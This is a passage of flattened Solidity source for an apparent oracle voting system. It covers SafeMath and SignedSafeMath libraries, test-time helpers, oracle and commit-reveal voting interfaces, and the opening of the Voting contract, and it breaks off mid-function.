function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/VotingInterface.sol";
// A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain no ancillary data.
abstract contract VotingInterfaceTesting is OracleInterface, VotingInterface, Testable {
using FixedPoint for FixedPoint.Unsigned;
// Events, data structures and functions not exported in the base interfaces, used for testing.
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
function rounds(uint256 roundId) public view virtual returns (Round memory);
function getPriceRequestStatuses(VotingInterface.PendingRequest[] memory requests)
public
view
virtual
returns (RequestState[] memory);
function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "./Timer.sol";
/**
* @title Base class that provides time overrides, but only if being run in test mode.
*/
abstract contract Testable {
// If the contract is being run on the test network, then `timerAddress` will be the 0x0 address.
// Note: this variable should be set on construction and never modified.
address public timerAddress;
/**
* @notice Constructs the Testable contract. Called by child contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(address _timerAddress) internal {
timerAddress = _timerAddress;
}
/**
* @notice Reverts if not running in test mode.
*/
modifier onlyIfTest {
require(timerAddress != address(0x0));
_;
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set current Testable time to.
*/
function setCurrentTime(uint256 time) external onlyIfTest {
Timer(timerAddress).setCurrentTime(time);
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
if (timerAddress != address(0x0)) {
return Timer(timerAddress).getCurrentTime();
} else {
return now; // solhint-disable-line not-rely-on-time
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
*/
function requestPrice(bytes32 identifier, uint256 time) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(bytes32 identifier, uint256 time) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(bytes32 identifier, uint256 time) public view virtual returns (int256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "./VotingAncillaryInterface.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingInterface {
struct PendingRequest {
bytes32 identifier;
uint256 time;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct Commitment {
bytes32 identifier;
uint256 time;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct Reveal {
bytes32 identifier;
uint256 time;
int256 price;
int256 salt;
}
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) external virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(Commitment[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(Reveal[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
virtual
returns (VotingAncillaryInterface.PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (VotingAncillaryInterface.Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Universal store of current contract time for testing environments.
*/
contract Timer {
uint256 private currentTime;
constructor() public {
currentTime = now; // solhint-disable-line not-rely-on-time
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set `currentTime` to.
*/
function setCurrentTime(uint256 time) external {
currentTime = time;
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint256 for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
return currentTime;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingAncillaryInterface {
struct PendingRequestAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct CommitmentAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct RevealAncillary {
bytes32 identifier;
uint256 time;
int256 price;
bytes ancillaryData;
int256 salt;
}
// Note: the phases must be in order. Meaning the first enum value must be the first phase, etc.
// `NUM_PHASES_PLACEHOLDER` is to get the number of phases. It isn't an actual phase, and it should always be last.
enum Phase { Commit, Reveal, NUM_PHASES_PLACEHOLDER }
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests() external view virtual returns (PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/VotingInterface.sol";
import "../interfaces/VotingAncillaryInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "./Registry.sol";
import "./ResultComputation.sol";
import "./VoteTiming.sol";
import "./VotingToken.sol";
import "./Constants.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
/**
* @title Voting system for Oracle.
* @dev Handles receiving and resolving price requests via a commit-reveal voting scheme.
*/
contract Voting is
Testable,
Ownable,
OracleInterface,
OracleAncillaryInterface, // Interface to support ancillary data with price requests.
VotingInterface,
VotingAncillaryInterface // Interface to support ancillary data with voting rounds.
{
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using VoteTiming for VoteTiming.Data;
using ResultComputation for ResultComputation.Data;
/****************************************
* VOTING DATA STRUCTURES *
****************************************/
// Identifies a unique price request for which the Oracle will always return the same value.
// Tracks ongoing votes as well as the result of the vote.
struct PriceRequest {
bytes32 identifier;
uint256 time;
// A map containing all votes for this price in various rounds.
mapping(uint256 => VoteInstance) voteInstances;
// If in the past, this was the voting round where this price was resolved. If current or the upcoming round,
// this is the voting round where this price will be voted on, but not necessarily resolved.
uint256 lastVotingRound;
// The index in the `pendingPriceRequests` that references this PriceRequest. A value of UINT_MAX means that
// this PriceRequest is resolved and has been cleaned up from `pendingPriceRequests`.
uint256 index;
bytes ancillaryData;
}
struct VoteInstance {
// Maps (voterAddress) to their submission.
mapping(address => VoteSubmission) voteSubmissions;
// The data structure containing the computed voting results.
ResultComputation.Data resultComputation;
}
struct VoteSubmission {
// A bytes32 of `0` indicates no commit or a commit that was already revealed.
bytes32 commit;
// The hash of the value that was revealed.
// Note: this is only used for computation of rewards.
bytes32 revealHash;
}
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
/****************************************
* INTERNAL TRACKING *
****************************************/
// Maps round numbers to the rounds.
mapping(uint256 => Round) public rounds;
// Maps price request IDs to the PriceRequest struct.
mapping(bytes32 => PriceRequest) private priceRequests;
// Price request ids for price requests that haven't yet been marked as resolved.
// These requests may be for future rounds.
bytes32[] internal pendingPriceRequests;
VoteTiming.Data public voteTiming;
// Percentage of the total token supply that must be used in a vote to
// create a valid price resolution. 1 == 100%.
FixedPoint.Unsigned public gatPercentage;
// Global setting for the rate of inflation per vote. This is the percentage of the snapshotted total supply that
// should be split among the correct voters.
// Note: this value is used to set per-round inflation at the beginning of each round. 1 = 100%.
FixedPoint.Unsigned public inflationRate;
// Time in seconds from the end of the round in which a price request is
// resolved that voters can still claim their rewards.
uint256 public rewardsExpirationTimeout;
// Reference to the voting token.
VotingToken public votingToken;
// Reference to the Finder.
FinderInterface private finder;
// If non-zero, this contract has been migrated to this address. All voters and
// financial contracts should query the new address only.
address public migratedAddress;
// Max value of an unsigned integer.
uint256 private constant UINT_MAX = ~uint256(0);
// Max length in bytes of ancillary data that can be appended to a price request.
// As of December 2020, the current Ethereum gas limit is 12.5 million. This requestPrice function's gas primarily
// comes from computing a Keccak-256 hash in _encodePriceRequest and writing a new PriceRequest to
// storage. We have empirically determined an ancillary data limit of 8192 bytes that keeps this function
// well within the gas limit at ~8 million gas. To learn more about the gas limit and EVM opcode costs go here:
// - https://etherscan.io/chart/gaslimit
// - https://github.com/djrtwo/evm-opcode-gas-costs
uint256 public constant ancillaryBytesLimit = 8192;
bytes32 public snapshotMessageHash = ECDSA.toEthSignedMessageHash(keccak256(bytes("Sign For Snapshot")));
/***************************************
* EVENTS *
****************************************/
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
/**
* @notice Construct the Voting contract.
* @param _phaseLength length of the commit and reveal phases in seconds.
* @param _gatPercentage of the total token supply that must be used in a vote to create a valid price resolution.
* @param _inflationRate percentage inflation per round used to increase token supply of correct voters.
* @param _rewardsExpirationTimeout timeout, in seconds, within which rewards must be claimed.
* @param _votingToken address of the UMA token contract used to commit votes.
* @param _finder keeps track of all contracts within the system based on their interfaceName.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
uint256 _phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
uint256 _rewardsExpirationTimeout,
address _votingToken,
address _finder,
address _timerAddress
) public Testable(_timerAddress) {
voteTiming.init(_phaseLength);
require(_gatPercentage.isLessThanOrEqual(1), "GAT percentage must be <= 100%");
gatPercentage = _gatPercentage;
inflationRate = _inflationRate;
votingToken = VotingToken(_votingToken);
finder = FinderInterface(_finder);
rewardsExpirationTimeout = _rewardsExpirationTimeout;
}
/***************************************
MODIFIERS
****************************************/
modifier onlyRegisteredContract() {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Caller must be migrated address");
} else {
Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry));
require(registry.isContractRegistered(msg.sender), "Called must be registered");
}
_;
}
modifier onlyIfNotMigrated() {
require(migratedAddress == address(0), "Only call this if not migrated");
_;
}
/****************************************
* PRICE REQUEST AND ACCESS FUNCTIONS *
****************************************/
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported. The length of the ancillary data
* is limited such that this method abides by the EVM transaction gas limit.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public override onlyRegisteredContract() {
uint256 blockTime = getCurrentTime();
require(time <= blockTime, "Can only request in past");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier request");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
bytes32 priceRequestId = _encodePriceRequest(identifier, time, ancillaryData);
PriceRequest storage priceRequest = priceRequests[priceRequestId];
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.NotRequested) {
// Price has never been requested.
// Price requests always go in the next round, so add 1 to the computed current round.
uint256 nextRoundId = currentRoundId.add(1);
priceRequests[priceRequestId] = PriceRequest({
identifier: identifier,
time: time,
lastVotingRound: nextRoundId,
index: pendingPriceRequests.length,
ancillaryData: ancillaryData
});
pendingPriceRequests.push(priceRequestId);
emit PriceRequestAdded(nextRoundId, identifier, time);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function requestPrice(bytes32 identifier, uint256 time) public override {
requestPrice(identifier, time, "");
}
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return _hasPrice bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (bool) {
(bool _hasPrice, , ) = _getPriceOrError(identifier, time, ancillaryData);
return _hasPrice;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) {
return hasPrice(identifier, time, "");
}
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (int256) {
(bool _hasPrice, int256 price, string memory message) = _getPriceOrError(identifier, time, ancillaryData);
// If the price wasn't available, revert with the provided message.
require(_hasPrice, message);
return price;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) {
return getPrice(identifier, time, "");
}
/**
* @notice Gets the status of a list of price requests, identified by their identifier and time.
* @dev If the status for a particular request is NotRequested, the lastVotingRound will always be 0.
* @param requests array of type PendingRequest which includes an identifier and timestamp for each request.
* @return requestStates a list, in the same order as the input list, giving the status of each of the specified price requests.
*/
function getPriceRequestStatuses(PendingRequestAncillary[] memory requests)
public
view
returns (RequestState[] memory)
{
